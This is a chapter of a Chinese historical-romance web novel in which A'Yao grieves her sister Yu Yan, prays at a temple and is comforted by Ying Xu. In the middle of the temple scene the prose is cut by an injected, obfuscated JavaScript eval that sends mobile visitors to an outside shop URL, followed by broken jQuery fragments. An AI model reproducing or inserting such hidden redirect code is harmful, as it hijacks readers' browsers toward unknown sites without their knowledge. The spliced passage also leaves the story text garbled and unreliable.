乌篷船在江边孤零零的桥头靠岸,木桩悬挂盏薄的几尽透明的灯笼,烛芯泛出羸弱微薄的光亮,仿佛随时都会被风吹倒。
铺满鲜花的小路尽头是一间灯火通明的客栈。
永不休止的芒草翻滚缠上四肢,从一片荒芜的绿意中走过,推开房门,里面传出激烈的争吵声。
阿杳躲在门后,露出一双眼睛新奇的朝里面望去,被柜子角落那颗五颜六色的玻璃球吸引去目光。
真的是好漂亮的一样东西,里面还装了许多同样的,只是比较小,用各种各样的纸包裹起来堆放在一起,在夕阳下似乎会发光。
砰地一声,门从外面合上,眼前漆黑一片,就什么都瞧不见了。
“就是她偷的!就是你!”
“我没有!”
角落里传来呜呜呜的哭声,声音一会儿大一会儿小,像是被什么压着,停顿的间隔越来越长,越来越委屈。
玉烟掀起乱成一团的云纱,终于在半倒的架子后看见埋着头蹲在地上的阿杳,眼睛泪汪汪,脸上也被泥垢蹭脏了一大块。
阿杳瘪着嘴慢吞吞蹲在墙角,今早刚采到的鲜花在方才推搡间落到了地上,滚了好几圈,因为被踩了一脚,就像皱了的橘子皮,看起来蔫巴巴的,似乎有些不太新鲜了。
刚伸出手,鲜花便被人从面前拿起来,轻轻拍去上面的灰。
“姐姐!”
阿杳一头扑进玉烟怀里,哭得上气不接下气,脸上乌黑一团,乱七八糟。
玉烟悬着的心稍稍落下,任阿杳抱着她哭了好久,抬手轻轻揉了揉阿杳皱巴巴的小脸,用帕子擦过,眼下鼻尖一片闷红。
“怎么哭成这样,告诉姐姐,发生什么事了?”
一开口,泪水充盈眼眶,摇摇欲坠,阿杳哭得更委屈了,攥紧手中那支折了即将就要断掉的花蕊,低下头,犹犹豫豫不肯说话。
玉烟哇了声,期待地问,“好漂亮的花啊,从哪里来的,这是要送给我的吗?”
“……嗯。”阿杳终于有了反应,慢吞吞点头,这可是她等了整整十六天零三个时辰才摘到的呢,为了不被别人发现,还悄悄拿来芭蕉叶在上面盖了个小房子,虽然只枯萎到剩下一朵。
玉烟很开心地接过去,“真好看,这是我收到过最好的东西了!”
阿杳扣着手指,“可是已经坏了。”
“怎么会呢。”
玉烟像变戏法一样,不知道如何弄得,只是在手里摆弄了两下,鲜花的枝干便重新立了起来,明亮的金黄色花瓣舒展,就跟刚采下来的一模一样。
阿杳总算露出了个笑,可只有一秒,便缓缓垂下头嘟着嘴,又是一副难过的要哭的样子,在玉烟再三追问下问出缘由。
只是来得稍微晚了点,婆子发放的糖果就被抢得一干二净,可是明明她的舞跳的也很好,明明应该有她一份。
阿杳晃着腿,坐在台子上,鞋尖一次又一次碰到塌倒的木桩断面,散出极为低弱的重音。
玉烟恍然大悟,“原来是这样啊。”
“可是今天有人给了我这个哦。”
一个木盒子出现在阿杳面前,打开来看,里面装了满满一盒子的糖,就像源源不断注入的茶水,捧在手中,满得就要溢出。
阿杳瞪大了眼,迫不及待的伸手拿起来,剥开颗立即塞进嘴里,眼睛眯成弯月牙。
温暖的手落在她头顶,轻而缓的抚摸。
突然就停下了。
阿杳抬起头,却见玉烟露出一种怅然的、懊悔的、悲悯的,总之,是一种她无论如何看不懂的神情。
阿杳想去拽住玉烟的手,刚要触碰,就在面前消失不见。
*
阿杳这两日病了,大抵是因为水土不服的缘故,整日昏昏沉沉,醒了没一会儿就又睡下,一天下来连喝下一勺粥的胃口都提不起来。
上午的时候朱姨娘来过,拉着阿杳旁若无人兴致冲冲的说起话。
哎呀道,“可惜那日你不在,没瞧见那场面有多么热闹,连那许久不露面的黄老爷都来了,不过吗,自是和我们家老爷比不了。”
阿杳坐在矮塌上,身上盖了件薄薄的鹅绒毯,桌面一个个躺在盒紫檀木匣中的翡翠玉镯还有那扇黑漆描金水纹万花玛瑙围屏是关夫人送来的。
下人们搬来放在这里,关夫人派来的婢女候在屋外。
提起各个府里的雅闻趣事,朱姨娘毫不避讳,别人或许装作不知情她却管不得这些,若是念到什么有意思的,还要笑出声来。
阿杳静静听着的话,不时嗯上一两句附和。
有谁会对这些千奇百怪的事不感兴趣呢?就算是神仙来了也不例外,朱姨娘理所当然的想。
正巧此时下人送来个用竹藤编织的篮子,春桃拿了进来,朱姨娘一下子就看见装在里面的火折子还有些散碎银锭。
“原来你要去上香啊?”
朱姨娘虽然话多,可阿杳并不觉得吵,即便明知朱姨娘同关夫人的明争暗斗,依然欢迎朱姨娘前来。可今日阿杳的心思显然不在这个上面,细细核对着篮子里的东西,眼睛里明晃晃的波动流露而出。
朱姨娘有所察觉,于是便问阿杳眼眶怎么红了,火折子都还没点呢,哪里来的烟可以熏到,就见阿杳匆匆扭过头,抹了下眼睛,说是她看错了。
“噢,是吗?”朱姨娘将信将疑,还是憋不住告诉阿杳,如果要去上香千万不要去后山的溪音寺,那里的香火最不灵验啦,就算捐十万贯的香油钱都不会显灵呢,里面的和尚一个个都是黑心肝的,嘴上念着阿弥陀佛菩萨转世,转身就问你讨要跪拜的供奉。
提起被骗的经历,朱姨娘还想继续同阿杳念叨,下一刻下人来禀马车已经备好。
走到府外,随安候在马车旁边,同小厮们清点随行要带的物品。
路途遥远,阿杳出门需要乘坐马车,这种事情需提前告知车夫准备。
昨日回来的途中春桃碰见刚刚归府的应七,如此走过似乎不太好,应七既开口询问,春桃顺便同他提了一嘴。
阿杳的身体其实已经恢复很多,服用了郎中开的药方子煎水来服,症状明显减弱不少,没说几句两人便分开了。
对于阿杳要去寺庙上香这件事,应胥原本是不同意的,阿杳的病还没好,脸色好不容易恢复些许红润,便迫不及待出去吹风,这样同想要写字只会没完没了磨磨有什么区别?
可奈何不住阿杳连番央求。
想悄悄去却被发现,阿杳没有一点心虚,给应胥倒了杯茶,还往里面加了两片薄荷,“去嘛去嘛,而且我听说寺庙的香火很灵验的,正巧我病了,不如就去庙里磕个头再拜上一拜,佛祖们菩萨心肠,定会开光保佑。”
应胥沉默不说话,于是阿杳搬出这套说辞。
阿杳难得开口任性一回,应胥没有办法不依。
朱姨娘原本想要同行,关夫人身旁的婢女不小心透露出晚上会有一场家宴,朱姨娘只好惋惜地拉起阿杳的手起身离开。
坐上马车,很快到达目的地。
“到了姑娘。”随安跳下马车,对着车帘内道。
春桃跟在阿杳身后,刚下了马车就被随安匆匆拉过去问,“你看见没有,我没瞧错吧,我怎么感觉姑娘气色比刚出来的时候好了许多呢?!”
“当然了,佛祖很灵验的,不然我们姑娘为什么过来。”不懂随安的大惊小怪,闻言,春桃扭头莫名所以的瞥了随安一眼,挎着竹篮匆匆跟去。
难不成真是有什么说法?随安心中泛起嘀咕,抬头望向牌匾上的字,忽然一顿,随后,郑重往后退去。
虽然不是临江镇最大的庙宇,祈元寺竟然真的如朱姨娘所讲香火极为旺盛,前往祭拜的香客来来往往走动,空气涌动檀香。
一位小师傅引领阿杳来到佛祖面前。
阿杳跪于蒲团上双手合十诚心的拜了,又磕了三个响头,在小师傅的解注中将手里的东西轻轻放在供奉的灯案面前。
随安扒着门框好奇问,“为什么还要放一支花?”
“这有什么奇怪,大家不是都放了吗,喏。”春桃示意随安往后面看去,那些香烛前果然都摆了各式各样的供品。
随安以前就听宫里的老人讲过
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17745700|205199||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,若遭遇了什么不幸之事或是一直有疾恶缠身,那这户人家便会到寺庙里去求得一盏灯,是为驱邪的意思。
既然要祈福,这些东西必然是少不了的。
“说的也是。”随安接了句,余光瞥见庙门外的身影,对春桃道,“是殿下!我过去看看。”
应胥正跟身边住持说着话,随安听见些什么施主,功德,善念之类的话,挠挠头问一旁的应七,殿下不是有事情来不了又怎会突然过来。
听应七道已经结束,随安便懂得了,定是正好途径此处,应胥才顺路来接阿杳的。
应七没反驳,看样子果然猜对。
阿杳俯首拜了又拜,刚一转身,差点踩到身后应胥的鞋面。
“结束了。”男人问。
“……嗯,已经好了。”看见应胥,阿杳先是愣了下,而后眼睛转了下,垂下眼帘,浅浅抿唇。
注意到那位披着红袈裟的老者,想来就是这座庙内的住持了,阿杳双手合十回礼,离开前,回头最后望了眼莲花台上那盏飘摇的红烛。
领阿杳进来的小师傅正在住持面前说着什么,往阿杳和应胥离去的方向看去,还没反应过来,突然就被老者用木锤敲了下脑袋。
发出咚的一声。
阿杳带了袖炉,马车四面罩住,又生了脚炉放在车座下方,冷风吹透不进。
因为热气熏陶,阿杳的脸不免被热气熏红,连脑袋都有些迟钝了。应胥闭眼靠着车壁,突然就听阿杳轻声问,“公子会过来,是因为事情全都已经忙完了吗?”
两条腿隔着冰凉的玉佩碰到一起,足以让应胥察觉出阿杳一直往自己身上凑的意图,方才坐上马车就开始了,似乎有些不对劲,可又仿佛本该就是这样。
阿杳最近的状态可谓十分糟糕,每至夜半时常会被噩梦惊醒,要他抱住还不够,紧紧靠在怀内才能睡好,醒来时眼睛也总是红肿,喜欢一言不发靠在他身上,出门时要亲眼送走才会心安。
就像现在,似乎又要哭了,每当此时,心中竟会生出不知怎么办才好的顿措感,好像做什么都是没有用的,不觉中浮现起一丝慌乱。
“你知道不是这样。”应胥抚上阿杳的眼尾。
下意识忽略因为这种感觉心中隐隐约约传出的闷塞。
阿杳仿佛急迫的想要听见什么,按住脸颊上的手,蹭去上面那一抹湿润,略带急迫开口,却是道,“公子会一直陪着阿杳的,对吗。”
最后那句,声音低到几乎微不可闻。
吞吐的气息交织,距离近得不能再近。
阿杳的情绪看起来不太对劲,像游离在急于求得与骤然失去间的彷徨不安。
眼皮上忽然一热,然后被按进一个温暖的怀抱。
紧贴的地方传来砰砰的声音,占据整个耳膜,忽而震动了下,阿杳听见应胥的声音,“睡吧,一会儿就到了。”
酸痛的眼后知后觉眨了眨,里面隐隐充斥着血丝,自从袁三娘那里得知玉烟的死讯,已有好几日没有睡一个整觉。
疲惫感涌上四肢,山路簸荡,阿杳竟就这么睡着了。
……
早已候在檐下,听见车轮滚动的声音,芸袖带着人手来到门前,帘子掀开,应胥抱着阿杳从里面下来。
芸袖移开目光,垂眸上前。
应七上前一步,朝她投去一眼,问,“出了何事?”
便从芸袖那里得知京中刚传来封密信,是皇后命人送来的,常嬷嬷取了信放在了书房。
敲响房门,应七低声将事情禀报。
阿杳睡得很熟,呼吸匀长,微微皱起的眉间被抚平,忽然间门外传来声响。
房中安静片刻,过了片刻,应胥从房内出来,只一眼,应七便飞速垂下双眸。
春桃进了房门,寺庙中避免不及香灰吹到身上,她端来一盆温水浸湿巾帕,心中疑惑为何只有随安候在门外。
垫着脚轻轻上前,攥干帕子撩起竹帘走到床前那一刻。
葛然,春桃滞住。
——目光落到堆垂于地面,另一端却被阿杳紧紧攥在手中的外袍上。